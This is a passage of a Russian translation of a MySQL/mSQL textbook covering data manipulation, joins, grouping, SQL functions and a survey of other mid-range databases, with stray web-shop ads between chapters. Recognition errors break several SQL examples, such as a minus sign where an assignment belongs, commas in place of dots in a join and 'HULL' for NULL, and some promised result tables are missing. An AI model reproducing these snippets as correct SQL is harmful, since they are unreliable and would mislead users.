Если вы выполните эту команду, когда в таблице нет строк, поле id получит значение 1, а не NULL. В случае, когда в таблице уже есть строки, полю будет присвоено значение на 1 большее, чем наибольшее значение id в данный момент.

Другим способом реализации последовательностей является использование значения, возвращаемого функцией LAST_INSERT_ID :

UPDATE table SET id=LAST_INSERT_ID (id+1);

Последовательности в mSQL

Каждая таблица в mSQL может иметь одну связанную с ней последовательность. Синтаксис создания последовательности следующий:

CREATE SEQUENCE ON table_name [VALUE start STEP incr]

Начальное значение задается числом start, а шаг увеличения при каждом последующем обращении - числом incr. По умолчанию, последовательность начинается с 1 и каждый раз возрастает на 1. Например:

CREATE SEQUENCE ON mytable VALUE 100 STEP 5

Создается последовательность в таблице mytable, начальным значением которой будет 100, а при каждом обращении оно будет увеличиваться на 5. Вторым значением, следовательно, будет 105.

Для доступа к последовательности нужно выбрать из таблицы специальную колонку с именем _seq:

SELECT _seq FROM table_name

В результате вы получите очередное значение последовательности и инкрементируете его.

Управление данными

Первое, что вы делаете, создав таблицу, это начинаете добавлять в нее данные. Если данные уже есть, может возникнуть необходимость изменить или удалить их.

Добавление данных

Добавление данных в таблицу является одной из наиболее простых операций SQL. Несколько примеров этого вы уже видели. Как MySQL, так и mSQL поддерживают стандартный синтаксис INSERT:

INSERT INTO table_name (columnl, column2, ..., columnN)

VALUES (value!, value2, .... valueN)

Данные для числовых полей вводятся как они есть. Для всех других полей вводимые данные заключаются в одиночные кавычки. Например, для ввода данных в таблицу адресов можно выполнить следующую команду:

INSERT INTO addresses (name, address, city, state, phone, age)

VALUES( 'Irving Forbush', ' 123 Mockingbird Lane', 'Corbin', 'KY', '(800) 555-1234', 26)

Кроме того, управляющий символ - по умолчанию '\' — позволяет вводить в литералы одиночные кавычки и сам символ '\':

# Ввести данные в каталог Stacie's Directory, который находится

# в c:\Personal\Stacie

INSERT INTO files (description, location)

VALUES ('Stacie\'s Directory', 'C: \\Personal\\Stacie')

MySQL позволяет опустить названия колонок, если значения задаются для всех колонок и в том порядке, в котором они были указаны при создании таблицы командой CREATE. Однако если вы хотите использовать значения по умолчанию, нужно задать имена тех колонок, в которые вы вводите значения, отличные от установленных по умолчанию. Если для колонки не установлено значение по умолчанию и она определена как NOT NULL , необходимо включить эту колонку в команду INSERT со значением, отличным от NULL. В mSQL значение по умолчанию всегда NULL. MySQL позволяет указать значение по умолчанию при создании таблицы в команде CREATE.

Более новые версии MySQL поддерживают нестандартный вызов INSERT для одновременной вставки сразу нескольких строк:

INSERT INTO foods VALUES (NULL, 'Oranges', 133, 0, 2, 39),

(HULL, 'Bananas', 122, 0, 4, 29), (NULL, 'Liver', 232, 3, 15, 10)

Хотя поддерживаемый MySQL нестандартный синтаксис удобно использовать для быстрого выполнения задач администрирования, не следует без крайней нужды пользоваться им при написании приложений. Как правило, следует придерживаться стандарта ANSI SQL2 настолько близко, насколько MySQL и mSQL это позволяют. Благодаря этому вы получаете возможность перейти в будущем на какую-нибудь другую базу данных. Переносимость особенно важна для тех, у кого потребности среднего масштаба, поскольку такие пользователи обычно предполагают когда-нибудь перейти на полномасштабную базу данных.

MySQL поддерживает синтаксис SQL2, позволяющий вводить в таблицу результаты запроса SELECT:

INSERT INTO foods (name, fat)

SELECT food_name, fat_grams FROM recipes

Обратите внимание, что число колонок в INSERT соответствует числу колонок в SELECT. Кроме того, типы данных колонок в INSERT должны совпадать с типами данных в соответствующих колонках SELECT. И, наконец, предложение SELECT внутри команды INSERT не должно содержать модификатора ORDER BY и не может производить выборку-из той же таблицы, в которую вставляются данные командой INSERT.

Изменение данных

Добавление новых строк в базу данных - лишь начало ее использования. Если ваша база не является базой данных «только для чтения», вам, вероятно, понадобится периодически изменять данные. Стандартная команда SQL для изменения данных выглядит так:

UPDATE table_name

SET column1=value1, column2=value2, ..., columnN=valueN

[WHERE clause]

В mSQL значение, присваиваемое колонке, должно быть литералом и иметь тот же тип, что и колонка. MySQL, напротив, позволяет вычислять присваиваемое значение. Можно даже вычислять значение, используя значение другой колонки:

UPDATE years

SET end_year - begin_year+5

В этой команде значение колонки end_year устанавливается равным значению колонки begin_year плюс 5 для каждой строки таблицы.

Предложение WHERE

Возможно, вы уже обратили внимание на предложение WHERE. В SQL предложение WHERE позволяет отобрать строки таблицы с заданным значением в указанной колонке, например:

UPDATE bands

SET lead_singer = 'Ian Anderson'

WHERE band_name = 'Jethro Tull'

Эта команда — UPDATE - указывает, что нужно изменить значение в колонке lead_singer для тех строк, в которых band_name совпадает с «Jethro Tull.» Если рассматриваемая колонка не является уникальным индексом, предложение WHERE может соответствовать нескольким строкам. Многие команды SQL используют предложение WHERE, чтобы отобрать строки, над которыми нужно совершить операции. Поскольку по колонкам, участвующим в предложении WHERE, осуществляется поиск, следует иметь индексы по тем их комбинациям, которые обычно используются.

Удаление

Удаление данных - очень простая операция. Вы просто указываете таблицу, из которой нужно удалить строки, и в предложении WHERE задаете строки, которые хотите удалить:

DELETE FROM table_name [WHERE clause]

Как и в других командах, допускающих использование предложения WHERE, его использование является необязательным. Если предложение WHERE опущено, то из таблицы будут удалены все записи! Из всех удаляющих данные команд SQL эта легче всего может привести к ошибке.

Запросы

Самая часто используемая команда SQL - та, которая позволяет просматривать данные в базе: SELECT. Ввод и изменение данных производятся лишь от случая к случаю, и большинство баз данных в основном занято тем, что предоставляет данные для чтения. Общий вид команды SELECT следующий:

SELECT column1, column2, ..., columnN

FROM table1, table2, .... tableN

[WHERE clause]

Этот синтаксис, несомненно, чаще всего используется для извлечения данных из базы, поддерживающей SQL. Конечно, существуют разные варианты для выполнения сложных и мощных запросов, особенно в MySQL. Мы полностью осветим синтаксис SELECT в главе 15.

В первой части команды SELECT перечисляются колонки, которые вы хотите извлечь. Можно задать «*», чтобы указать, что вы хотите извлечь все колонки. В предложении FROM указываются таблицы, в которых находятся эти колонки. Предложение WHERE указывает, какие именно строки должны использоваться, и позволяет определить, каким образом должны объединяться две таблицы.

Объединения

Объединения вносят «реляционность» в реляционные базы данных. Именно объединение позволяет сопоставить строке одной таблицы строку другой. Основным видом объединения является то, что иногда называют внутренним объединением. Объединение таблиц заключается в приравнивании колонок двух таблиц:

SELECT book, title, author, name

FROM author, book

WHERE book, author = author, id

Рассмотрим базу данных, в которой таблица book имеет вид, как в таблице 6-3.

Таблица 6-3. Таблица книг

ID | Title | Author | Pages
1 | The Green Mile | 4 | 894
2 | Guards, Guards! | 2 | 302
ID | Title | Author | Pages
3 | Imzadi | 3 | 354
4 | Gold | 1 | 405
5 | Howling Mad | 3 | 294

А таблица авторов author имеет вид таблицы 6-4.

Таблица 6-4. Таблица авторов

ID | Name | Citizen
1 | Isaac Asimov | US
2 | Terry Pratchet | UK
3 | Peter David | us
4 | Stephen King | us
5 | Neil Gaiman | UK

В результате внутреннего объединения создается таблица, в которой объединяются поля обеих таблиц для строк, удовлетворяющих запросу в обеих таблицах. В нашем примере запрос указывает, что поле author в таблице book должно совпадать с полем id таблицы author. Результат выполнения этого запроса представлен в таблице 6-5.

Таблица 6-5. Результаты запроса с внутренним объединением

Book Title | Author Name
The Green Mile | Stephen King
Guards, Guards! | Terry Pratchet
Imzadi | Peter David
Gold | Isaac Asimov
Howling Mad | Peter David

В этих результатах нет автора с именем Neil Gaiman, поскольку его author, id не найден в таблице book, author. Внутреннее объединение содержит только те строки, которые точно соответствуют запросу. Позднее в этой главе мы обсудим понятие внешнего объединения, которое оказывается полезным в случае, когда в базу данных внесен писатель, у которого нет в этой базе книг.

Псевдонимы

Полные имена, содержащие имена таблиц и колонок, зачастую весьма громоздки. Кроме того, при использовании функций SQL, о которых мы будем говорить ниже, может оказаться затруднительным ссы-

латься на одну и ту же функцию более одного раза в пределах одной команды. Псевдонимы, которые обычно короче и более выразительны, могут использоваться вместо длинных имен внутри одной команды SQL, например:

# Псевдоним колонки

SELECT long_field_names_are_annoying AS myfield

FROM table_name

WHERE myfield = 'Joe'

# Псевдоним таблицы в MySQL

SELECT people.names, tests.score

FROM tests, really_long_people_table_name AS people

# Псевдоним таблицы в mSQL

SELECT people.names, tests.score

FROM tests, really_long_people_table_name=people

mSQL полностью поддерживает псевдонимы для таблиц, но не поддерживает псевдонимы для колонок.

Группировка и упорядочение

По умолчанию порядок, в котором появляются результаты выборки, не определен. К счастью, SQL предоставляет некоторые средства наведения порядка в этой случайной последовательности. Первое средство -упорядочение - есть и в MySQL, и в mSQL. Вы можете потребовать от базы данных, чтобы выводимые результаты были упорядочены по некоторой колонке. Например, если вы укажете, что запрос должен упорядочить результаты по полю last_name , то результаты будут выведены в алфавитном порядке по значению поля last_name . Упорядочение осуществляется с помощью предложения ORDER BY:

SELECT last_name, first_name, age

FROM people

ORDER BY last_name, first_name

В данном случае упорядочение производится по двум колонкам. Можно проводить упорядочение по любому числу колонок, но все они должны быть указаны в предложении SELECT. Если бы в предыдущем примере мы не выбрали поле last_name , то не смогли бы упорядочить по нему.

Группировка — это средство ANSI SQL, реализованное в MySQL, но не в mSQL. Поскольку в mSQL нет агрегатных функций, то группировка просто не имеет смысла. Как и предполагает название, группировка позволяет объединять в одну строки с аналогичными значениями с целью их совместной обработки. Обычно это делается для применения к результатам агрегатных функций. О функциях мы поговорим несколько позднее.

Рассмотрим пример:

mysql> SELECT name, rank, salary FROM people\g

5 rows in set (0.01 sec)

После группировки по званию (rank) выдача изменяется:

mysql> SELECT rank FROM people GROUP BY rank\g

3 rows in set (0.01 sec)

После применения группировки можно, наконец, найти среднюю зарплату (salary) для каждого звания. О функциях, используемых в этом примере, мы поговорим позднее.

mysql> SELECT rank, AVG(salary) FROM people GROUP BY rank\g

3 rows in set (0.04 sec)

Мощь упорядочения и группировки в сочетании с использованием функций SQL позволяет производить большой объем обработки данных на сервере до их извлечения. Но этой мощью нужно пользоваться с большой осторожностью. Хотя может показаться, что перенос максимального объема обработки на сервер базы данных дает выигрыш в производительности, на самом деле это не так. Ваше приложение-клиент обслуживает потребности отдельного клиента, в то время как сервер совместно используется многими клиентами. Из-за большого объема работы, который должен производить сервер, почти всегда более эффективно возложить на сервер минимально возможную нагрузку. MySQL и mSQL, возможно, наиболее быстрые из имеющихся баз данных, но не нужно использовать эту скорость для той работы, к которой лучше приспособлено клиентское приложение.

Если вам известно, что много клиентов будет запрашивать одни и те же итоговые данные (например, данные по некоторому званию в нашем предыдущем примере), создайте новую таблицу с этими данными и обновляйте ее при изменении данных в исходной таблице. Эта операция аналогична буферизации и является распространенным приемом в программировании баз данных.

Расширения языка

Как MySQL, так и mSQL обладают некоторыми витиеватыми расширениями, аналогов которым вы не найдете в других базах данных. Большинство расширений, имеющихся в MySQL, в целом согласуется со стандартом ANSI SQL. Расширения mSQL связаны просто с особыми переменными, к которым можно обращаться при работе с базой данных mSQL.

Возможности MySQL

MySQL превосходит mSQL в поддержке SQL, предоставляя возможность работы с функциями и в некоторой мере — с внешними объединениями. Функции в SQL аналогичны функциям в других языках программирования, таких как С и Perl. Функция может принимать аргументы и возвращает некоторое значение. Например, функция SQRT(16) возвращает 4. В MySQL в команде SELECT функции могут использоваться в двух местах:

Как извлекаемая величина

В этом случае функция включается в список извлекаемых колонок. Возвращаемое функцией значение, вычисляемое для каждой выбранной строки, включается в возвращаемое результирующее множество, как если бы это была колонка базы данных. Вот пример:

# Выбрать название каждого события (event), а также его дату

# в удобном для чтения формате из всех событий, более свежих,

# чем указанная дата. Функция FROM_UnixTIME()

# преобразует стандартное значение времени Unix

# в читаемый вид.

SELECT name, FROM_UnixTIME(date)

FROM events

WHERE time > 90534323

# Выбрать заглавие статьи, полный текст ее,

# и длину (в байтах) полного текста для всех

# статей, автор которых Stacie Sheldon.

# Функция LENGTHO возвращает длину заданной

# строки в символах.

SELECT title, text, LENGTH(text)

FROM papers

WHERE author = 'Stacie Sheldon'

Как часть предложения WHERE

В этом виде функция заменяет место константы при вычислении в предложении WHERE. Значение функции используется при сравнении в каждой строке таблицы. Приведем пример.

# Случайным образом выбрать название объекта из общего числа 35.

# Функция RAND() генерирует случайное число

# между 0 и 1 (умножается на 34, чтобы сделать его между 0

# и 34, и увеличивается на 1 , чтобы сделать его между 1 и

# 35). Функция ROUND() возвращает данное число округленным

# до ближайшего целого, что приводит к целому числу

# между 1 и 35, которое должно соответствовать одному

# из чисел ID в таблице.

SELECT name

FROM entries

WHERE id = ROUND( (RAND()*34) + 1 )

# Можно использовать функции одновременно в списке значений

# и предложении WHERE. В этом примере выбираются имя и дата

# всех событий, происшедших более суток назад. Функция UNIX_TIMESTAMP()

# без аргументов возвращает текущее время

# в формате Unix.

SELECT name, FROM_UnixTIME(date)

FROM events

WHERE time > (Unix_TIMESTAMP() - (60 * 60 * 24) )

# Функция может использовать значение поля таблицы.

# В этом примере возвращаются имена всех,

# кто использовал свое имя в качестве пароля. Функция ENCRYPTO

# возвращает зашифрованную в стиле пароля Unix

# заданную строку, используя 2-символьный ключ.

# Функция LEFT() возвращает п самых левых символов

# переданной строки.

SELECT name

FROM people

WHERE password = ENCRYPT(name, LEFT(name, 2))

Наконец, MySQL поддерживает более сильный тип объединения, чем простое внутреннее объединение, которое мы до сих пор использовали. Именно, MySQL поддерживает так называемое левое внешнее объединение (известное также просто как внешнее объединение). Объединение этого типа похоже на внутреннее объединение, за исключением того, что в него включаются данные из левой колонки, которым нет соответствия в правой колонке. Если вы обратитесь к нашим таблицам с авторами и книгами, то вспомните, что в наше объединение не вошли авторы, у которых в базе данных не было книг. Часто вы можете пожелать вывести записи из одной таблицы, для которых нет соответствия в другой таблице, с которой производится объединение. Это можно сделать с помощью внешнего объединения:

SELECT book.title, author.name

FROM author

LEFT JOIN book ON book.author = author.id

Обратите внимание, что во внешнем объединении вместо WHERE используется ключевое слово ON. Результат нашего запроса будет выглядеть так:

MySQL делает следующий шаг, позволяя использовать естественное внешнее объединение (natural outer join). Естественное внешнее объединение соединяет строки двух таблиц, в которых две колонки имеют одинаковые имена и тип, и значения в этих колонках совпадают:

SELECT my_prod.name

FROM my_prod

NATURAL LEFT JOIN their_prod

Особенности mSQL

В mSQL есть пять «системных переменных», которые можно включить в любой запрос. Об одной из этих переменных, _seq, мы уже говорили. Остальные переменные следующие:

_rowid

Уникальный идентификатор возвращенной строки данных. Для повышения производительности можно использовать эту переменную в командах UPDATE или DELETE. Однако такой подход нельзя рекомендовать определенно, поскольку разные клиенты могут помешать друг другу. Например, два клиента могут выбрать одну и ту же строку. Первый клиент удаляет ее, а затем третий клиент добавляет новую строку. Новая строка может получить то же значение _rowid, что и удаленная строка. Если теперь второй клиент попытается отредактировать или удалить строку, используя данное значение _rowid, то результат будет совсем не тот, на который он рассчитывал.

_timestamp

Время последней модификации строки. В текущей версии mSQL имеет стандартный формат времени Unix. В будущих версиях формат может измениться, поэтому использовать эту переменную следует только для сравнения временных меток разных строк.

_sysdate

Возвращает значение текущей даты на сервере mSQL. Может использоваться для синхронизации времени в базе данных, даже если у клиентов на машинах стоит разное время. Имеет стандартный формат Unix.

_user

Содержит имя клиента текущего соединения. Как и _-sysdate, не зависит от таблицы, из которой выбирается.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №7. Другие СУБД среднего масштаба
    • Что значит «бесплатный»?
    • Чего недостает MySQL и mSQL
    • PostgreSQL
    • GNU SQL
    • Beagle
    • Сравнение характеристик

Глава №7.

Другие СУБД среднего масштаба

Когда mSQL впервые вышла на сцену, это была единственная СУБД среднего масштаба с поддержкой SQL. Но она недолго оставалась в одиночестве. Конечно, вы уже знаете о другой такой базе данных: MySQL. За годы, прошедшие после появления mSQL, появилось и несколько СУБД среднего класса. Мы сосредоточились в этой книге на MySQL и mSQL из-за их очень большого сходства и громадной популярности. Было бы, однако, несправедливо не упомянуть о других базах данных.

Базы данных используются в столь многочисленных задачах, что трудно в одном пакете соединить все функции для всех возможных применений. Тем не менее крупные поставщики баз данных пытаются достичь этой цели. Они расплачиваются за это производительностью, а вы расплачиваетесь своими деньгами. С другой стороны, базы данных низшего класса настолько узко специализированы, что возможности их использования на малых предприятиях, в некоммерческих организациях и других местах с нетривиальными потребностями весьма ограниченны. Базы данных среднего класса заполняют важный пробел между двумя этими крайностями. До сего времени мы рассматривали лишь два очень схожих подхода к удовлетворению потребности в базе данных среднего класса. Определенно, они не являются единственными решениями. Если, скажем, ваша компания невелика, это не значит, что вам не может потребоваться поддержка транзакций. Некоторым пользователям среднего звена могут потребоваться также триггеры, вложенные запросы, хранимые процедуры, поддержка объектно-ориентированного программирования и многое другое - но не все эти возможности одновременно. Таким образом, различные базы данных среднего класса могут иметь необходимые возможности, отсутствующие в MySQL или mSQL.

Что значит «бесплатный»?

Иногда можно слышать, как MySQL и mSQL называют «бесплатными» (free) продуктами. Когда сравнивают MySQL и mSQL, иногда даже говорят, что MySQL «более бесплатна», чем mSQL. Здравый смысл противится выражению «более бесплатный». Однако в мире программного обеспечения действительно изобретены «степени бесплатности».

До сих пор мы сознательно избегали обсуждения «бесплатности» MySQL и mSQL, поскольку термин «бесплатный» неоднозначен в мире программного обеспечения. На самом деле, лицензия как на один, так и на другой продукт может оказаться для вас не бесплатной, в зависимости от того, кем вы являетесь. По правилам, действовавшим в момент написания книги, университет не был обязан платить за лицензию ни на тот, ни на другой продукт. А коммерческий пользователь mSQL- обязан. Когда говорят, что MySQL «более бесплатна», чем mSQL, имеют в виду, что MySQL бесплатна для большего числа пользователей, чем mSQL.

Другая сторона понятия «бесплатный» для программ не имеет отношения к цене, а связана с возможностью изучать и модифицировать исходный код. В этом смысле тот и другой продукт совершенно бесплатны. Вы можете зайти на их веб-страницы и загрузить исходный код. Даже если вы принадлежите к пользователям MySQL или mSQL, которые обязаны платить за их использование, тратиться дополнительно на исходный код не нужно.

В мире программирования возник новый термин, предназначенный для избавления от неоднозначности понятия «бесплатный». Он называется Open Source- Открытый код. Фактически, термин «Open Source» стал торговой маркой, обозначающей программный продукт, исходный код которого открыт вне зависимости от взимаемой за его использование платы. Linux, Netscape, FreeBSD, Perl, Apache, все продукты GNU и многие продукты, упоминаемые в этой книге, такие как MySQL, mSQL, mm.mysql.jdbc и mSQL-JDBC (мы перечислили лишь немногие), - все они являются Open Source-продуктами.

Другие базы данных, о которых мы говорим в этой главе, также относятся к Open Source. Open source имеет очень большое значение в мире пользователей среднего класса, поскольку «большие парни» склонны рассматривать этот рынок как не заслуживающий их внимания из-за ограниченности, а разработчики малого класса считают эти продукты слишком сложными для себя.

Чего недостает MySQL и mSQL

Слово «недостает» выбрано за неимением лучшего. Как уже отмечалось, MySQL и mSQL сознательно предпочли отказаться от возможностей, которые могли снизить их производительность. Иными словами, в MySQL и mSQL ставка сделана на производительность. Однако некоторые пользователи среднего класса готовы отчасти пожертвовать производительностью ради определенных функций. Для понимания того, что предлагают другие базы данных среднего масштаба, полезно выяснить, что же опущено в MySQL и mSQL.

Разработчики MySQL собираются все-таки включить в свой продукт некоторые из этих функций с возможностью по желанию их отключать. Сейчас, когда книга печатается, мы зна- . ем, что планируется реализовать механизм хранимых процедур и вложенных запросов, а возможно, и транзакций.

Транзакции

Транзакции позволяют сгруппировать вместе несколько команд SQL в качестве единицы работы. Группируя вместе команды, можно быть уверенным, что никто не столкнется с частично измененной базой данных. Кроме того, при невозможности выполнить одну из команд вся единица работы не будет выполнена. Транзакции можно зрительно представить себе как перекресток оживленных дорог. В однопоточной системе с очередью, такой как mSQL, это как остановка перед перекрестком со всех четырех сторон. Все машины проезжают в очередь по одной. Если проезжает колонна из двух машин, существует опасность, что она будет разорвана перед знаком остановки.

В многопоточной системе с блокировкой, такой как MySQL, это больше напоминает перекресток с регулировщиком вместо знаков остановки. Движение происходит в любом порядке и с любой скоростью, а регулировщик следит, чтобы не было столкновений. Если к перекрестку подходят одновременно две машины с пересекающихся направлений, регулировщик приказывает одной из них остановиться и подождать, пока другая преодолеет перекресток.

Транзакции напоминают перекресток со светофором. Подходящий транспорт останавливается перед красным сигналом на то время, пока весь транспорт, следующий в перпендикулярном направлении, не пересечет перекресток.

Практический пример использования транзакций - банковское приложение, в котором перевод средств со сберегательного на чековый счет выполняется в результате изменения остатка на сберегательном счете, а затем изменения остатка на чековом счете. Это можно осуществить с помощью двух команд SQL:

# Снять $100 из $110 на сберегательном счете

UPDATE account

SET balance = 10.00

WHERE id = 1234

# Добавить $100 к $55 на чековом счете

UPDATE account

SET balance = 155.00

WHERE id = 5678

В промежутке между двумя этими изменениями другой клиент мог провести операцию, проверяющую состояние чекового и сберегательного счетов, чтобы узнать, достаточна ли сумма для оплаты чека. Если бы подобное произошло, чек был бы возвращен банком. Еще хуже, если сервер «упадет» в промежутке между двумя изменениями. Клиент просто потеряет $100.

Объединяя эти две команды в транзакцию, вы говорите, что либо обе должны быть успешно выполнены, либо ни одна из них. Если первая команда пройдет, а вторая не сможет выполниться, то можно дать команду, называемую «откат»(«rollback»), которая вернет базу данных в состояние, предшествовавшее началу транзакции. Точно так же никому не разрешается трогать файлы, которые вы модифицируете, пока работа не будет завершена. MySQL частично позволяет эмулировать транзакции, используя команду LOCK TABLES. Блокировки помогают избежать нарушения целостности данных, но не дают возможности осуществления операции отката. В mSQL поддержка транзакций отсутствует.

Триггеры

Триггеры тесно связаны с транзакциями. Продолжая аналогию с дорожным движением, представим себе полицейского инспектора, сверху наблюдающего за перекрестком. Если одна из машин совершает какое-либо нарушение, инспектор выезжает на дорогу и преследует нарушителя.

Триггер — это одна или несколько команд SQL, которые хранятся в базе и выполняются, когда происходит какое-либо определенное событие. Триггеры являются методом автоматизации задач контроля. Если выполняется некоторое условие, триггер может воздействовать на данные или просто сообщить о том, что имело место срабатывание триггера.

Хранимые процедуры

В простейшем случае хранимые процедуры - это одна или несколько команд SQL, хранимых в базе данных под каким-либо простым именем и в совокупности выполняющих некую функцию. В примере с переводом денежных средств можно было бы просто сохранить эти две команды в одной хранимой процедуре с именем «transfer» (перевод). Ваше приложение передает хранимой процедуре два номера счета и сумму, и она выполняет две команды SQL в одной транзакции.

На более высоком уровне сложности хранимые процедуры могут расширять базовый синтаксис SQL, так что он становится похожим на традиционные языки программирования. Двумя примерами таких расширений являются Oracle PL/SQL и Sybase/ Microsoft Tran-sactSQL. Часто можно слышать, что использование хранимых процедур «помещает бизнес-логику в базу данных».

Вложенные запросы

Обычная команда SQL SELECT осуществляет полный доступ ко всем данным, хранимым в таблице, - если вы знаете, что ищете. Когда вы не стремитесь извлечь содержимое таблицы целиком, SELECT в своем основном виде требует ввести хотя бы часть данных, которые вы хотите извлечь. Например, SELECT name FROM friends WHERE name LIKE 'B%' требует знания хотя бы одной буквы имени, которое вы ищете. Что делать в случае, если вы хотите узнать, чей заработок был выше среднего? Запрос должен выглядеть примерно так:

SELECT name FROM people WHERE salary > ???

Больше чего? Вы понятия не имеете, каков средний заработок, пока не сделаете выборку по заработкам! Необходимо взять значение SELECT AVG(salary) FROM people и вставить его в предыдущий запрос. Вложенный запрос позволяет это сделать:

SELECT name

FROM people

WHERE salary > (SELECT AVG(salary) FROM people)

Объекты

Реляционные базы данных - не конечный пункт эволюции. Имеется много объектно-реляционных и объектно-ориентированных баз данных. На рынке систем большого масштаба идея чисто реляционных баз данных постепенно отступает. Новый стандарт SQL3 включит в себя многие изменения, касающиеся поддержки объектов.

В РСУБД все данные хранятся в виде таблиц, представляющих собой просто списки записей, в свою очередь, являющихся собранием битов, представляющих текст, числа и другие типы данных. В объектно-ориентированной системе управления базами данных (ООСУБД) базовой единицей хранения данных является объект. Объект может содержать не только данные тех же типов, что встречаются в реляционных базах данных, но также и другие объекты или многомерные данные, скажем, массивы, или даже выполняемые функции, в мире объектно-ориентированного программирования обычно называемые методами.

PostgreSQL

Существующая в настоящее время реализация объектно-реляционной СУБД Postgres известна как PostgreSQL (или Postgres 6). Хотя Post-gres поддерживает SQL в течение всего трех лет, самой системе уже более десяти лет. В начале 1980-х д-р Майкл Стоунбрейкер (Michael Sto-nebreaker) из Калифорнийского Университета в Беркли разработал систему баз данных, которая предвосхитила многие концепции, реализованные в современных системах управления базами данных. Эта СУБД получила название Ingres (позднее University Ingres). Ingres была некоммерческим проектом, финансируемым университетом; проектом, быстро обретшим последователей среди специалистов по компьютерам во всем мире.

Одна из фирм обратила внимание на коммерческий потенциал этого академического продукта и, зарегистрировав торговую марку Ingres, сделала коммерческий продукт. Исходная некоммерческая версия Ingres была переименована в University Ingres, и ее развитие продолжилось независимо от коммерческой версии.

Через некоторое время д-р Стоунбреикер пошел в своих исследованиях дальше того, что предполагалось в начальных целях проекта Ingres. Он решил, что настало время разработать совершенно новую систему баз данных, развивавшую идеи, заложенные в Ingres, и отправился осваивать новую территорию. Эта система баз данных стала известна как Postgres, то есть после-Ingres.

Postgres, как и Ingres, была открытым для общественности проектом, который финансировался университетом. И так же, как в случае Ingres, коммерческий сектор обратил внимание и на Postgres, в результате чего появился коммерческий проект Illustra*. Бесплатная Postgres продолжила свое существование и сейчас соперничает в популярности с MySQL и mSQL среди серверов баз данных среднего масштаба.

В 1995 г. произошли два события, повлиявшие на судьбу Postgres. Во-первых, два студента д-ра Стоунбрейкера - Эндрю Ю (Andrew Yu) и Джолли Чен (Jolly Chen) - разработали SQL-интерфейс для Postgres.

Таким образом, через несколько лет после того, как Дэвид Хьюз впервые разработал MiniSQL для использования SQL в работе с Postgres, у последней появился настоящий SQL-интерфейс. Поддержка SQL вызвала рост популярности. Как и в случае с mSQL и MySQL, рост популярности привел к росту потребности в новых функциях. В результате появилась объектно-ориентированная СУБД среднего масштаба с поддержкой транзакций, триггеров и вложенных запросов. Подробнее узнать о PostgreSQL можно на http://www.postgresql.org .

GNU SQL

Проект GNU для многих программистов является символом свободы. Официальная лицензия на продукты GNU гарантирует свободный доступ и полную свободу модификации исходного кода. Почти для всякой утилиты среды Unix можно найти версию GNU - включая редактор (Emacs), командный процессор (bash) и ядро операционной системы (Hurd). До недавнего времени зияющим пробелом было отсутствие СУБД.

Институт системного программирования Российской Академии наук работает над тем, чтобы изменить это положение. Пару лет назад он выпустил первую открытую бета-версию GNU SQL - полностью функциональную РСУБД с поддержкой SQL и лицензией GNU Public License (GPL). Ко времени печати этой книги текущая версия GNU SQL имела номер 0.7beta.

Когда задумывалась GNU SQL, спецификация SQL 2 была еще не окончательной, поэтому первые версии GNU SQL обеспечивали поддержку только функций SQL89, а возможности SQL2 добавлялись постепенно.

В настоящее время GNU SQL поддерживает многие развитые возможности - транзакции, вложенные запросы и курсоры. Поскольку это бета-версия, мы не рекомендовали бы ее для промышленного использования. По мере своего становления она, конечно, будет достойна внимания. Подробнее узнать о GNU SQL можно на http://www.ispras.ru/-kml/gss/index.html

Beagle

Beagle является бесплатным ядром баз данных SQL, разработанным и реализованным Робертом Клейном (Robert Klein). Как и GNU SQL, Beagle задуман как полностью SQL-совместимый сервер со всеми необходимыми функциями, включая объектно-реляционные расширения, впервые появившиеся в PostgreSQL. Как и GNU SQL, Beagle во многом не завершен. Ко времени печати этой книги он достиг того уровня развития, когда он надежен и может использоваться для тестирования и разработки. Для промышленного пользования этот продукт еще не готов.

Одной из наиболее интересных особенностей Beagle является то, что автор с самого начала проекта вел журнал разработки. Изучая этот журнал, вы можете проследить развитие SQL-сервера от простого тестового приложения, использующего TCP и архитектуру клиент/сервер, до почти полностью функционального SQL-сервера, каким он является сегодня. Домашняя страница Beagle расположена на http:// www.beaglesql.org.

Сравнение характеристик

Как и многие приложения, MySQL обладает набором тестов для проверки того, что заново откомпилированная система действительно поддерживает все возможности, которыми предположительно должна обладать. Для MySQL этот набор называется «crash-me», поскольку одной из его задач является попытка «завалить» сервер баз данных.

В какой-то момент обратили внимание на то, что «crash-me» является переносимой программой. Она может работать не только в различных операционных системах, но и использоваться для тестирования разных СУБД. С тех пор «crash-me» превратилась из простого набора тестов в программу, позволяющую производить сравнение характеристик. Тесты включают в себя стандартный SQL, а также расширения, предлагаемые многими серверами. Кроме того, программа проверяет надежность сервера при интенсивной нагрузке. Полный прогон тестов дает исчерпывающую характеристику возможностей сервера баз данных.

Можно использовать «crash-me» для сравнения двух или более серверов баз данных в активном режиме. Домашняя страница «crash-me» находится на http://www.mysql.com/crash-me-choose.htmy .

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Часть II. Программирование баз данных
    • Глава №8. Архитектуры приложений для работы с базами данных
      • Архитектура клиент/сервер
      • Обработка да иных
      • Объектное/реляционное моделирование
      • Трехзвенная архитектура

Часть II.

Программирование баз данных

Мощь базы данных реализуется через инструменты, предназначенные для работы с ней. В этой части мы поговорим о том, как создавать такие инструменты, используя некоторые популярные сегодня языки программирования. На примере создания веб-приложений для бизнеса мы обсудим API и инструменты, необходимые для максимального использования потенциала MySQL и mSQL. Эта часть начинается с нескольких обзорных глав по архитектуре приложений для работы с базами данных и СGI-программированию. Однако основное содержание этой части посвящено программированию на различных языках для MySQL и mSQL.

Глава №8.

Архитектуры приложений для работы с базами данных

Прежде чем разбираться в деталях разработки приложений для работы с базами данных на различных языках, следует потратить некоторое время и шире взглянуть на проектирование этих приложений. Эта глава концептуальная: мы хотим рассмотреть архитектуру клиент/ сервер, лежащую в основе программирования баз данных. Эти вопросы важны для программирования MySQL и mSQL, но не являются специфичными только для этих СУБД. Напротив, они применимы в любой среде программирования баз данных. Если не учитывать принципов архитектуры, то может оказаться, что ваши приложения не могут ни удовлетворить ваши потребности, ни приспособиться к изменяющимся обстоятельствам. В нашем обзоре программирования баз данных мы коснемся таких сложных тем, как понятие об обычной двухзвенной архитектуре, соответствие между объектами и реляцион-ностью и более новой трехзвенной архитектуре клиент/сервер.

Архитектура клиент/сервер

